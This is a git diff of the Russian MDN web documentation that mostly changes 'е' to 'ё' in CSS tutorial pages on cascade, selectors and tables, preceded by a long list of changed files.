.../headers/strict-transport-security/index.html | 8 +- files/ru/web/http/headers/vary/index.html | 2 +- .../http/headers/x-content-type-options/index.html | 2 +- .../ru/web/http/headers/x-forwarded-for/index.html | 2 +- .../web/http/headers/x-xss-protection/index.html | 2 +- files/ru/web/http/index.html | 4 +- files/ru/web/http/messages/index.html | 10 +-- files/ru/web/http/methods/connect/index.html | 2 +- files/ru/web/http/methods/delete/index.html | 2 +- files/ru/web/http/methods/options/index.html | 4 +- files/ru/web/http/methods/patch/index.html | 2 +- files/ru/web/http/methods/post/index.html | 6 +- files/ru/web/http/methods/put/index.html | 4 +- files/ru/web/http/overview/index.html | 24 ++--- files/ru/web/http/redirections/index.html | 26 +++--- files/ru/web/http/session/index.html | 14 +-- files/ru/web/http/status/100/index.html | 2 +- files/ru/web/http/status/200/index.html | 4 +- files/ru/web/http/status/201/index.html | 2 +- files/ru/web/http/status/202/index.html | 2 +- files/ru/web/http/status/203/index.html | 2 +- files/ru/web/http/status/204/index.html | 4 +- files/ru/web/http/status/206/index.html | 2 +- files/ru/web/http/status/301/index.html | 4 +- files/ru/web/http/status/302/index.html | 4 +- files/ru/web/http/status/307/index.html | 4 +- files/ru/web/http/status/308/index.html | 4 +- files/ru/web/http/status/401/index.html | 2 +- files/ru/web/http/status/402/index.html | 2 +- files/ru/web/http/status/403/index.html | 2 +- files/ru/web/http/status/405/index.html | 2 +- files/ru/web/http/status/406/index.html | 4 +- files/ru/web/http/status/407/index.html | 2 +- files/ru/web/http/status/408/index.html | 2 +- files/ru/web/http/status/411/index.html | 2 +- files/ru/web/http/status/412/index.html | 2 +- files/ru/web/http/status/413/index.html | 2 +- files/ru/web/http/status/416/index.html | 2 +- files/ru/web/http/status/425/index.html | 2 +- files/ru/web/http/status/429/index.html | 2 +- files/ru/web/http/status/431/index.html | 2 +- files/ru/web/http/status/451/index.html | 2 +- files/ru/web/http/status/500/index.html | 2 +- files/ru/web/http/status/511/index.html | 4 +- files/ru/web/http/status/index.html | 22 ++--- .../a_re-introduction_to_javascript/index.html | 8 +- .../ru/web/javascript/about_javascript/index.html | 8 +- files/ru/web/javascript/closures/index.html | 26 +++--- files/ru/web/javascript/data_structures/index.html | 8 +- .../equality_comparisons_and_sameness/index.html | 10 +-- files/ru/web/javascript/eventloop/index.html | 10 +-- .../control_flow_and_error_handling/index.html | 20 ++--- .../guide/details_of_the_object_model/index.html | 62 ++++++------- .../guide/expressions_and_operators/index.html | 28 +++--- files/ru/web/javascript/guide/functions/index.html | 30 +++---- .../javascript/guide/grammar_and_types/index.html | 38 ++++---- files/ru/web/javascript/guide/index.html | 2 +- .../guide/indexed_collections/index.html | 34 +++---- .../web/javascript/guide/introduction/index.html | 16 ++-- .../guide/iterators_and_generators/index.html | 12 +-- .../javascript/guide/meta_programming/index.html | 18 ++-- .../javascript/guide/numbers_and_dates/index.html | 20 ++--- .../regular_expressions/assertions/index.html | 8 +- .../character_classes/index.html | 34 +++---- .../guide/regular_expressions/index.html | 28 +++--- .../javascript/guide/text_formatting/index.html | 16 ++-- .../web/javascript/guide/using_promises/index.html | 24 ++--- .../guide/working_with_objects/index.html | 46 +++++----- files/ru/web/javascript/index.html | 4 +- .../inheritance_and_the_prototype_chain/index.html | 4 +- .../javascript_technologies_overview/index.html | 14 +-- .../web/javascript/language_resources/index.html | 6 +- .../ru/web/javascript/memory_management/index.html | 2 +- .../reference/classes/constructor/index.html | 8 +- .../reference/classes/extends/index.html | 2 +- .../ru/web/javascript/reference/classes/index.html | 26 +++--- .../classes/private_class_fields/index.html | 4 +- .../classes/public_class_fields/index.html | 2 +- .../javascript/reference/classes/static/index.html | 2 +- .../reference/errors/already_has_pragma/index.html | 2 +- .../reference/errors/bad_radix/index.html | 2 +- .../reference/errors/bad_regexp_flag/index.html | 2 +- .../errors/bad_return_or_yield/index.html | 2 +- .../errors/called_on_incompatible_type/index.html | 2 +- .../index.html | 2 +- .../errors/cant_access_property/index.html | 20 ++--- .../reference/errors/cant_delete/index.html | 4 +- .../errors/cant_redefine_property/index.html | 8 +- .../errors/cyclic_object_value/index.html | 2 +- .../reference/errors/dead_object/index.html | 12 +-- .../errors/delete_in_strict_mode/index.html | 6 +- .../deprecated_expression_closures/index.html | 4 +- .../errors/deprecated_string_generics/index.html | 6 +- .../errors/deprecated_tolocaleformat/index.html | 4 +- .../reference/errors/equal_as_assign/index.html | 2 +- .../for-each-in_loops_are_deprecated/index.html | 4 +- .../reference/errors/getter_only/index.html | 6 +- .../errors/identifier_after_number/index.html | 4 +- .../errors/in_operator_no_object/index.html | 4 +- .../ru/web/javascript/reference/errors/index.html | 4 +- .../errors/invalid_const_assignment/index.html | 4 +- .../errors/invalid_for-in_initializer/index.html | 4 +- .../reference/errors/is_not_iterable/index.html | 6 +- .../errors/malformed_formal_parameter/index.html | 2 +- .../errors/missing_bracket_after_list/index.html | 2 +- .../missing_colon_after_property_id/index.html | 2 +- .../missing_curly_after_function_body/index.html | 4 +- .../index.html | 2 +- .../reference/errors/no_variable_name/index.html | 2 +- .../non_configurable_array_element/index.html | 10 +-- .../reference/errors/not_a_codepoint/index.html | 2 +- .../reference/errors/not_a_constructor/index.html | 2 +- .../reference/errors/not_defined/index.html | 4 +- .../reference/errors/read-only/index.html | 4 +- .../errors/redeclared_parameter/index.html | 4 +- .../errors/reserved_identifier/index.html | 2 +- .../errors/strict_non_simple_params/index.html | 4 +- .../reference/errors/unexpected_token/index.html | 4 +- .../reference/errors/unexpected_type/index.html | 4 +- .../errors/unnamed_function_statement/index.html | 4 +- .../errors/unterminated_string_literal/index.html | 6 +- .../reference/errors/var_hides_argument/index.html | 2 +- .../functions/arguments/callee/index.html | 2 +- .../reference/functions/arguments/index.html | 8 +- .../reference/functions/arrow_functions/index.html | 4 +- .../functions/default_parameters/index.html | 10 +-- .../javascript/reference/functions/get/index.html | 8 +- .../functions/method_definitions/index.html | 2 +- .../javascript/reference/functions/set/index.html | 6 +- .../global_objects/array/concat/index.html | 2 +- .../global_objects/array/every/index.html | 2 +- .../reference/global_objects/array/fill/index.html | 2 +- .../global_objects/array/filter/index.html | 2 +- .../reference/global_objects/array/find/index.html | 2 +- .../reference/global_objects/array/flat/index.html | 4 +- .../global_objects/array/foreach/index.html | 6 +- .../reference/global_objects/array/keys/index.html | 2 +- .../global_objects/array/lastindexof/index.html | 2 +- .../reference/global_objects/array/map/index.html | 2 +- .../global_objects/array/reduce/index.html | 2 +- .../global_objects/array/reverse/index.html | 4 +- .../global_objects/array/slice/index.html | 8 +- .../reference/global_objects/array/some/index.html | 2 +- .../reference/global_objects/array/sort/index.html | 2 +- .../global_objects/arraybuffer/index.html | 14 +-- .../global_objects/arraybuffer/slice/index.html | 2 +- .../global_objects/asyncfunction/index.html | 6 +- .../global_objects/atomics/add/index.html | 4 +- .../reference/global_objects/atomics/index.html | 8 +- .../global_objects/atomics/sub/index.html | 4 +- .../reference/global_objects/bigint/index.html | 14 +-- .../reference/global_objects/date/index.html | 2 +- .../global_objects/date/setminutes/index.html | 2 +- .../global_objects/date/toutcstring/index.html | 2 +- .../global_objects/decodeuricomponent/index.html | 2 +- .../reference/global_objects/encodeuri/index.html | 2 +- .../global_objects/encodeuricomponent/index.html | 2 +- .../reference/global_objects/error/index.html | 2 +- .../reference/global_objects/escape/index.html | 2 +- .../reference/global_objects/eval/index.html | 14 +-- .../global_objects/float32array/index.html | 2 +- .../global_objects/function/bind/index.html | 8 +- .../reference/global_objects/function/index.html | 2 +- .../global_objects/function/name/index.html | 8 +- .../reference/global_objects/generator/index.html | 2 +- .../global_objects/generator/throw/index.html | 4 +- .../global_objects/generatorfunction/index.html | 4 +- .../reference/global_objects/globalthis/index.html | 2 +- .../reference/global_objects/intl/index.html | 2 +- .../reference/global_objects/isfinite/index.html | 4 +- .../reference/global_objects/map/delete/index.html | 2 +- .../global_objects/map/entries/index.html | 2 +- .../global_objects/map/foreach/index.html | 2 +- .../reference/global_objects/map/get/index.html | 4 +- .../reference/global_objects/map/index.html | 4 +- .../reference/global_objects/math/sqrt/index.html | 2 +- .../reference/global_objects/nan/index.html | 2 +- .../reference/global_objects/null/index.html | 6 +- .../global_objects/object/create/index.html | 6 +- .../global_objects/object/entries/index.html | 2 +- .../global_objects/object/fromentries/index.html | 2 +- .../object/getownpropertydescriptors/index.html | 2 +- .../global_objects/object/values/index.html | 2 +- .../reference/global_objects/parsefloat/index.html | 8 +- .../reference/global_objects/parseint/index.html | 4 +- .../global_objects/promise/all/index.html | 10 +-- .../global_objects/promise/any/index.html | 12 +-- .../global_objects/promise/catch/index.html | 6 +- .../global_objects/promise/finally/index.html | 8 +- .../reference/global_objects/promise/index.html | 16 ++-- .../global_objects/promise/race/index.html | 6 +- .../global_objects/promise/reject/index.html | 6 +- .../global_objects/promise/resolve/index.html | 2 +- .../global_objects/promise/then/index.html | 8 +- .../global_objects/reflect/construct/index.html | 2 +- .../reference/global_objects/reflect/index.html | 2 +- .../global_objects/reflect/ownkeys/index.html | 2 +- .../global_objects/regexp/@@split/index.html | 2 +- .../reference/global_objects/regexp/index.html | 4 +- .../global_objects/regexp/lastmatch/index.html | 2 +- .../reference/global_objects/regexp/n/index.html | 4 +- .../global_objects/regexp/unicode/index.html | 2 +- .../reference/global_objects/set/delete/index.html | 10 +-- .../global_objects/set/foreach/index.html | 2 +- .../reference/global_objects/set/set/index.html | 2 +- .../global_objects/sharedarraybuffer/index.html | 10 +-- .../global_objects/string/match/index.html | 2 +- .../global_objects/string/matchall/index.html | 2 +- .../global_objects/string/padend/index.html | 6 +- .../global_objects/string/replaceall/index.html | 10 +-- .../global_objects/string/slice/index.html | 8 +- .../reference/global_objects/symbol/for/index.html | 2 +- .../reference/global_objects/symbol/index.html | 14 +-- .../global_objects/symbol/toprimitive/index.html | 2 +- .../reference/global_objects/typedarray/index.html | 4 +- .../reference/global_objects/unescape/index.html | 2 +- .../reference/global_objects/uneval/index.html | 2 +- .../global_objects/weakmap/clear/index.html | 2 +- .../global_objects/weakmap/delete/index.html | 2 +- .../reference/global_objects/weakmap/index.html | 2 +- .../global_objects/webassembly/compile/index.html | 2 +- .../webassembly/compilestreaming/index.html | 6 +- .../global_objects/webassembly/index.html | 22 ++--- .../global_objects/webassembly/table/index.html | 14 +-- .../reference/iteration_protocols/index.html | 6 +- .../reference/lexical_grammar/index.html | 10 +-- .../reference/operators/addition/index.html | 2 +- .../reference/operators/await/index.html | 4 +- .../reference/operators/bitwise_and/index.html | 2 +- .../reference/operators/comma_operator/index.html | 4 +- .../operators/conditional_operator/index.html | 12 +-- .../reference/operators/delete/index.html | 20 ++--- .../javascript/reference/operators/in/index.html | 4 +- .../reference/operators/instanceof/index.html | 2 +- .../reference/operators/new.target/index.html | 4 +- .../javascript/reference/operators/new/index.html | 12 +-- .../nullish_coalescing_operator/index.html | 2 +- .../operators/object_initializer/index.html | 22 ++--- .../operators/optional_chaining/index.html | 4 +- .../operators/pipeline_operator/index.html | 2 +- .../reference/operators/spread_syntax/index.html | 12 +-- .../javascript/reference/operators/this/index.html | 26 +++--- .../javascript/reference/operators/void/index.html | 2 +- .../reference/statements/async_function/index.html | 6 +- .../reference/statements/block/index.html | 4 +- .../reference/statements/class/index.html | 4 +- .../reference/statements/do...while/index.html | 4 +- .../reference/statements/empty/index.html | 2 +- .../reference/statements/for-await...of/index.html | 2 +- .../reference/statements/for...in/index.html | 2 +- .../reference/statements/for...of/index.html | 6 +- .../javascript/reference/statements/for/index.html | 2 +- .../reference/statements/import/index.html | 14 +-- .../javascript/reference/statements/let/index.html | 16 ++-- .../reference/statements/return/index.html | 2 +- .../reference/statements/throw/index.html | 24 ++--- .../reference/statements/try...catch/index.html | 2 +- .../javascript/reference/statements/var/index.html | 10 +-- .../reference/statements/while/index.html | 2 +- .../reference/statements/with/index.html | 2 +- .../javascript/reference/strict_mode/index.html | 24 ++--- .../transitioning_to_strict_mode/index.html | 8 +- files/ru/web/javascript/typed_arrays/index.html | 18 ++-- files/ru/web/manifest/background_color/index.html | 2 +- files/ru/web/manifest/icons/index.html | 4 +- files/ru/web/manifest/index.html | 2 +- .../web/manifest/related_applications/index.html | 2 +- files/ru/web/mathml/attribute/index.html | 20 ++--- files/ru/web/mathml/authoring/index.html | 36 ++++---- files/ru/web/mathml/element/maction/index.html | 4 +- files/ru/web/mathml/element/math/index.html | 6 +- files/ru/web/mathml/element/menclose/index.html | 14 +-- files/ru/web/mathml/element/merror/index.html | 2 +- files/ru/web/mathml/element/mover/index.html | 2 +- .../deriving_the_quadratic_formula/index.html | 2 +- files/ru/web/mathml/examples/index.html | 2 +- .../examples/mathml_pythagorean_theorem/index.html | 2 +- .../web/media/formats/codecs_parameter/index.html | 6 +- .../ru/web/media/formats/webrtc_codecs/index.html | 50 +++++------ .../index.html | 16 ++-- .../performance/critical_rendering_path/index.html | 18 ++-- .../index.html | 4 +- files/ru/web/performance/dns-prefetch/index.html | 4 +- files/ru/web/performance/fundamentals/index.html | 24 ++--- .../web/performance/how_browsers_work/index.html | 22 ++--- .../performance/how_long_is_too_long/index.html | 4 +- files/ru/web/performance/index.html | 4 +- .../navigation_and_resource_timings/index.html | 10 +-- .../optimizing_startup_performance/index.html | 10 +-- .../web/performance/performance_budgets/index.html | 12 +-- .../ru/web/performance/rum-vs-synthetic/index.html | 6 +- .../installable_pwas/index.html | 6 +- files/ru/web/reference/api/index.html | 2 +- files/ru/web/reference/index.html | 2 +- .../ru/web/security/same-origin_policy/index.html | 2 +- .../turning_off_form_autocompletion/index.html | 2 +- .../index.html | 8 +- .../ru/web/svg/attribute/attributetype/index.html | 6 +- files/ru/web/svg/attribute/core/index.html | 4 +- files/ru/web/svg/attribute/d/index.html | 8 +- files/ru/web/svg/attribute/dur/index.html | 4 +- files/ru/web/svg/attribute/end/index.html | 4 +- files/ru/web/svg/attribute/fill-rule/index.html | 2 +- files/ru/web/svg/attribute/font-weight/index.html | 2 +- files/ru/web/svg/attribute/id/index.html | 2 +- files/ru/web/svg/attribute/index.html | 2 +- files/ru/web/svg/attribute/keytimes/index.html | 6 +- files/ru/web/svg/attribute/lang/index.html | 12 +-- .../svg/attribute/patterncontentunits/index.html | 8 +- files/ru/web/svg/attribute/r/index.html | 2 +- files/ru/web/svg/attribute/repeatcount/index.html | 2 +- files/ru/web/svg/attribute/rx/index.html | 2 +- files/ru/web/svg/attribute/ry/index.html | 2 +- .../web/svg/attribute/shape-rendering/index.html | 8 +- files/ru/web/svg/attribute/stroke/index.html | 4 +- files/ru/web/svg/attribute/text-anchor/index.html | 2 +- files/ru/web/svg/attribute/transform/index.html | 2 +- files/ru/web/svg/attribute/values/index.html | 4 +- files/ru/web/svg/attribute/viewbox/index.html | 2 +- files/ru/web/svg/element/animate/index.html | 2 +- files/ru/web/svg/element/animatemotion/index.html | 2 +- files/ru/web/svg/element/feblend/index.html | 2 +- files/ru/web/svg/element/foreignobject/index.html | 4 +- files/ru/web/svg/element/rect/index.html | 6 +- files/ru/web/svg/element/text/index.html | 4 +- files/ru/web/svg/element/use/index.html | 2 +- .../web/svg/svg_1.1_support_in_firefox/index.html | 6 +- files/ru/web/svg/tutorial/basic_shapes/index.html | 4 +- .../svg/tutorial/basic_transformations/index.html | 10 +-- .../svg/tutorial/clipping_and_masking/index.html | 8 +- .../web/svg/tutorial/fills_and_strokes/index.html | 12 +-- .../ru/web/svg/tutorial/filter_effects/index.html | 2 +- .../ru/web/svg/tutorial/getting_started/index.html | 8 +- files/ru/web/svg/tutorial/gradients/index.html | 10 +-- files/ru/web/svg/tutorial/introduction/index.html | 12 +-- files/ru/web/svg/tutorial/paths/index.html | 20 ++--- files/ru/web/svg/tutorial/patterns/index.html | 12 +-- files/ru/web/svg/tutorial/svg_and_css/index.html | 2 +- files/ru/web/svg/tutorial/svg_fonts/index.html | 14 +-- .../tutorial/svg_in_html_introduction/index.html | 6 +- files/ru/web/svg/tutorial/texts/index.html | 10 +-- files/ru/web/svg/tutorial/tools_for_svg/index.html | 2 +- files/ru/web/tutorials/index.html | 12 +-- files/ru/web/web_components/index.html | 22 ++--- .../using_custom_elements/index.html | 20 ++--- files/ru/web/xml/xml_introduction/index.html | 8 +- files/ru/web/xslt/index.html | 2 +- files/ru/webassembly/c_to_wasm/index.html | 20 ++--- files/ru/webassembly/concepts/index.html | 22 ++--- files/ru/webassembly/exported_functions/index.html | 12 +-- files/ru/webassembly/index.html | 12 +-- .../ru/webassembly/loading_and_running/index.html | 2 +- files/ru/webassembly/rust_to_wasm/index.html | 34 +++---- .../understanding_the_text_format/index.html | 52 +++++------ .../using_the_javascript_api/index.html | 28 +++--- 1585 files changed, 6751 insertions(+), 6751 deletions(-) (limited to 'files/ru') diff --git a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html index f1a3bac827..599069cfb2 100644 --- a/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -15,7 +15,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---

{{ CSSTutorialTOC() }}

-

{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как работает CSS")}} Это четвертый раздел руководства CSS для начинающих. Он описывает, как таблицы стилей взаимодействуют в каскаде, и как дочерние элементы наследуют стиль от родительских. Используя наследование, в приведённой ниже задаче вы измените стиль некоторых элементов за один шаг.

+

{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/How_CSS_works", "Как работает CSS")}} Это четвёртый раздел руководства CSS для начинающих. Он описывает, как таблицы стилей взаимодействуют в каскаде, и как дочерние элементы наследуют стиль от родительских. Используя наследование, в приведённой ниже задаче вы измените стиль некоторых элементов за один шаг.

Информация: Каскадность и наследование

@@ -26,7 +26,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
    @@ -42,7 +42,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance

    Когда вы читаете этот документ в браузере, часть стилей происходит от стилей для HTML по умолчанию вашего браузера.

    -

    Часть стиля может происходить от измененных настроек браузера или измененного файла определения стиля. В Firefox настройки можно изменить в диалоге Предпочтения или же указать стили в файле userContent.css в профиле браузера.

    +

    Часть стиля может происходить от изменённых настроек браузера или изменённого файла определения стиля. В Firefox настройки можно изменить в диалоге Предпочтения или же указать стили в файле userContent.css в профиле браузера.

    Часть стиля приходит из таблиц стилей, связываемых с документом вики-сервером.

    @@ -77,7 +77,7 @@ original_slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance 
    p {color: blue; text-decoration: underline;}
    -
  1. Теперь сохраните документ и обновите страницу в браузере, чтобы увидеть изменения. Весь текст в абзаце будет подчеркнут, в том числе и начальные буквы. Элемент {{ HTMLElement("strong") }} унаследовал подчеркнутый стиль от родительского элемента {{ HTMLElement("p") }} .
    +
  2. Теперь сохраните документ и обновите страницу в браузере, чтобы увидеть изменения. Весь текст в абзаце будет подчеркнут, в том числе и начальные буквы. Элемент {{ HTMLElement("strong") }} унаследовал подчёркнутый стиль от родительского элемента {{ HTMLElement("p") }} .

    Обратите внимание, что элементы {{ HTMLElement("strong") }} всё ещё красные. Красный цвет является их собственным стилем, поэтому имеет приоритет перед синим цветом, заданным для родительского элемента {{ HTMLElement("p") }} . 

    3. @@ -123,7 +123,7 @@ strong {color:red}
    Задание
    -Измените таблицу стилей таким образом, чтобы были подчеркнуты только красные буквы: +Измените таблицу стилей таким образом, чтобы были подчёркнуты только красные буквы: @@ -136,7 +136,7 @@ strong {color:red}
    Возможное решение
    -

    Переместите объявление подчеркивания из правила для {{ HTMLElement("p") }} в правило для {{ HTMLElement("strong") }}. В результате файл будет выглядеть следующим образом:

    +

    Переместите объявление подчёркивания из правила для {{ HTMLElement("p") }} в правило для {{ HTMLElement("strong") }}. В результате файл будет выглядеть следующим образом:

    p {color: blue; }
 strong {color: red; text-decoration: underline;}
diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
index 2454954951..795cc38b8c 100644
--- a/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/selectors/index.html
@@ -6,7 +6,7 @@ translation_of_original: Learn/CSS/CSS_properties
 original_slug: Learn/CSS/CSS_properties
 ---
 
    
-
    {{Glossary("CSS")}} определяет как должна выглядеть веб-страница. Он использует предопределенные правила вместе с селекторами и свойствами для применения стилей к элементам HTML или группам элементов.
    
+
    {{Glossary("CSS")}} определяет как должна выглядеть веб-страница. Он использует предопределённые правила вместе с селекторами и свойствами для применения стилей к элементам HTML или группам элементов.
    diff --git a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html index c63d438935..e565ec9839 100644 --- a/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html +++ b/files/ru/conflicting/learn/css/building_blocks/selectors_918fb6c37a4d06789bc062c48d591992/index.html @@ -51,7 +51,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors

    Используйте атрибут id в элементе, чтобы назначить идентификатор элементу. Это зависит от вас, какое имя вы выберете для ID. Идентификационное имя должно быть уникальным в документе.

    -

    В таблице стилей введите знак решетки перед идентификатором, когда вы используете его в селекторе.

    +

    В таблице стилей введите знак решётки перед идентификатором, когда вы используете его в селекторе.

    Пример
    @@ -91,7 +91,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
    [lang|=es]
    Выбирает элементы определённые как Spanish. Это включает "es" и "es-MX" но не включает "eu-ES" (что является языком Basque).
    [title*="example" i]
    -
    Выбирает элементы в состав которых входит "example", игнорируя регистр. В браузерах, которые не поддерживают флаг "i", этот селектор возможно не найдет ни один элемент.
    +
    Выбирает элементы в состав которых входит "example", игнорируя регистр. В браузерах, которые не поддерживают флаг "i", этот селектор возможно не найдёт ни один элемент.
    a[href^="https://"]
    Выбирает все защищённые ссылки.
    img[src$=".png"]
    @@ -100,7 +100,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors

    Селекторы псевдокласса

    -

    Псевдокласс класса CSS - это ключевое слово, добавленное в селектор, который задает особое состояние выбранного элемента. Например {{Cssxref (": hover")}} применит стиль, когда пользователь наводит на элемент, указанный селектором.

    +

    Псевдокласс класса CSS - это ключевое слово, добавленное в селектор, который задаёт особое состояние выбранного элемента. Например {{Cssxref (": hover")}} применит стиль, когда пользователь наводит на элемент, указанный селектором.

    Псевдо-классы вместе с псевдоэлементами позволяют применять стиль к элементу не только по отношению к содержанию дерева документов, но и по отношению к внешним факторам, таким как история навигатора ({{ cssxref(":visited") }}, для примера), статус его содержимого (наподобие {{ cssxref(":checked") }} на некоторых элементах формы) или положение мыши (наподобие {{ cssxref(":hover") }} который позволяет узнать, находится ли мышь над элементом или нет). Чтобы просмотреть полный список селекторов, посетите CSS3 Спецификация работы селекторов.

    @@ -137,7 +137,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors

    Информация: Специфичность

    -

    Несколько правил могут иметь селектор, каждый из которых соответствует одному и тому же элементу. Если свойство задано только одним правилом, конфликт не возникает, и свойство устанавливается в элементе. Если к элементу применяется более одного правила и устанавливает одно и то же свойство, тогда CSS дает приоритет правилу, которое имеет более конкретный селектор. Селектор ID более специфичен, чем селектор класса, псевдокласса или атрибута, который, в свою очередь, более специфичен, чем селектор тегов или псевдоэлементов.

    +

    Несколько правил могут иметь селектор, каждый из которых соответствует одному и тому же элементу. Если свойство задано только одним правилом, конфликт не возникает, и свойство устанавливается в элементе. Если к элементу применяется более одного правила и устанавливает одно и то же свойство, тогда CSS даёт приоритет правилу, которое имеет более конкретный селектор. Селектор ID более специфичен, чем селектор класса, псевдокласса или атрибута, который, в свою очередь, более специфичен, чем селектор тегов или псевдоэлементов.

    Подробнее
    @@ -145,7 +145,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors

    Вы также можете комбинировать селектор, создавая более конкретный селектор. Например, селектор .key выбирает все элементы, с ключом имени класса key. Селектор p.key отбирает только {{ HTMLElement("p") }} элементы, которые имеют имя класса key.

    -

    Если таблица стилей имеет противоречивые правила, и они одинаково специфичны, тогда CSS дает приоритет правилу, которое позже находится в таблице стилей.

    +

    Если таблица стилей имеет противоречивые правила, и они одинаково специфичны, тогда CSS даёт приоритет правилу, которое позже находится в таблице стилей.

    Если у вас возникла проблема с конфликтующими правилами, попробуйте разрешить это, сделав одно из правил более конкретным, чтобы оно имело приоритет. Если вы не можете этого сделать, попробуйте переместить одно из правил ближе к концу таблицы стилей, чтобы оно имело приоритет.

    @@ -174,14 +174,14 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors
    - +
    B + EЛюбой E элемент, что является следующим "братом" B элемента (то есть: следующий ребенок того же родителя)Любой E элемент, что является следующим "братом" B элемента (то есть: следующий ребёнок того же родителя)

    Вы можете комбинировать их для выражения сложных отношений.

    -

    Вы можете так же использовать символ * (звездочка), что подразумевает "любой элемент".

    +

    Вы можете так же использовать символ * (звёздочка), что подразумевает "любой элемент".

    Пример
    @@ -198,7 +198,7 @@ original_slug: Web/Guide/CSS/Getting_started/Selectors ... -

    Эти правила делают первую ячейку в каждой строке подчеркнутой, а "брат" первой ячейки каждой строки зачеркнутой (в примере 2-я ячейка) . Они влияют только на одну конкретную таблицу в документе::

    +

    Эти правила делают первую ячейку в каждой строке подчёркнутой, а "брат" первой ячейки каждой строки зачёркнутой (в примере 2-я ячейка) . Они влияют только на одну конкретную таблицу в документе::

    #data-table-1 td:first-child {text-decoration: underline;}
 #data-table-1 td:first-child + td {text-decoration: line-through;}
@@ -433,4 +433,4 @@ div.menu-bar li:hover > ul {
 
 
    Что дальше?
    
 
-
    Ваша таблица стилей начинает выглядеть плотной и сложной. Следующая секция описывает пути CSS легкого чтения. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}
    
+
    Ваша таблица стилей начинает выглядеть плотной и сложной. Следующая секция описывает пути CSS лёгкого чтения. {{nextPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Readable_CSS", "Readable CSS")}}
    
diff --git a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
index c441ff992d..1203f44fc9 100644
--- a/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
+++ b/files/ru/conflicting/learn/css/building_blocks/styling_tables/index.html
@@ -11,13 +11,13 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы
 ---
 
    {{CSSTutorialTOC}}{{previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/Layout", "Layout")}}
    
 
-
    Это 13-я секция руководства CSS Начало работы; оно описывает более продвинутые селекторы и некоторые специфичные способы, которыми вы можете стилизовать таблицу. Вы создаете новый пример документа, содержащий таблицу и таблицу стилей для неё.
    
+
    Это 13-я секция руководства CSS Начало работы; оно описывает более продвинутые селекторы и некоторые специфичные способы, которыми вы можете стилизовать таблицу. Вы создаёте новый пример документа, содержащий таблицу и таблицу стилей для неё.
    
 
 
    Информация: Таблицы
    
 
 
    Таблица располагает информацию в прямоугольной сетке. Некоторые таблицы могут быть сложными, и для сложных таблиц разные браузеры выдают разный результат.
    
 
-
    Когда вы проектируете ваш документ, используйте таблицы для выражения отношений между кусочками информации. Поэтому это не важно, если различные браузеры отображают информацию слегка различными способами, потому что значение остается ясным.
    
+
    Когда вы проектируете ваш документ, используйте таблицы для выражения отношений между кусочками информации. Поэтому это не важно, если различные браузеры отображают информацию слегка различными способами, потому что значение остаётся ясным.
    
 
 
    Не используйте таблицы необычным способом для создания особенной визуальной разметки. Техники на предыдущей странице руководства (Разметка) предпочтительнее для этой цели.
    
 
@@ -161,7 +161,7 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы
 
 
    Вы можете отобразить пустые ячейки (т.е. их рамки и фон) указывав {{cssxref("empty-cells")}}: show; для элемента таблицы.
    
 
-
    Вы можете скрыть их, указав empty-cells: hide;. Тогда, если у элемента родителя ячейки есть фон, он будет отображен через пустую ячейку.
    
+
    Вы можете скрыть их, указав empty-cells: hide;. Тогда, если у элемента родителя ячейки есть фон, он будет отображён через пустую ячейку.
    
 
 
    
 
    Пример
    
@@ -431,7 +431,7 @@ original_slug: Web/Guide/CSS/Getting_started/Таблицы
    
   
  
- 
  3. Сравните правила в таблице стилей с отображенной таблицей, чтобы гарантировать, что вы понимаете действие для каждого правила. Если вы найдете правило, значение которого вы не понимаете, то закомментируйте его и обновите страницу, чтобы посмотреть, что изменилось. Вот несколько заметок об этой таблице:
+ 
  4. Сравните правила в таблице стилей с отображённой таблицей, чтобы гарантировать, что вы понимаете действие для каждого правила. Если вы найдёте правило, значение которого вы не понимаете, то закомментируйте его и обновите страницу, чтобы посмотреть, что изменилось. Вот несколько заметок об этой таблице:
   
      
    
    • Заголовок находится снаружи рамки таблицы.
      • 
    
    • Если у вас установлен минимальный размер точки в Опциях, это может повлиять на верхний индекс в km2.
      • 
diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
index 450003b569..cb90e2d8c7 100644
--- a/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/how_css_is_structured/index.html
@@ -17,9 +17,9 @@ original_slug: Web/Guide/CSS/Getting_started/Readable_CSS
 
 
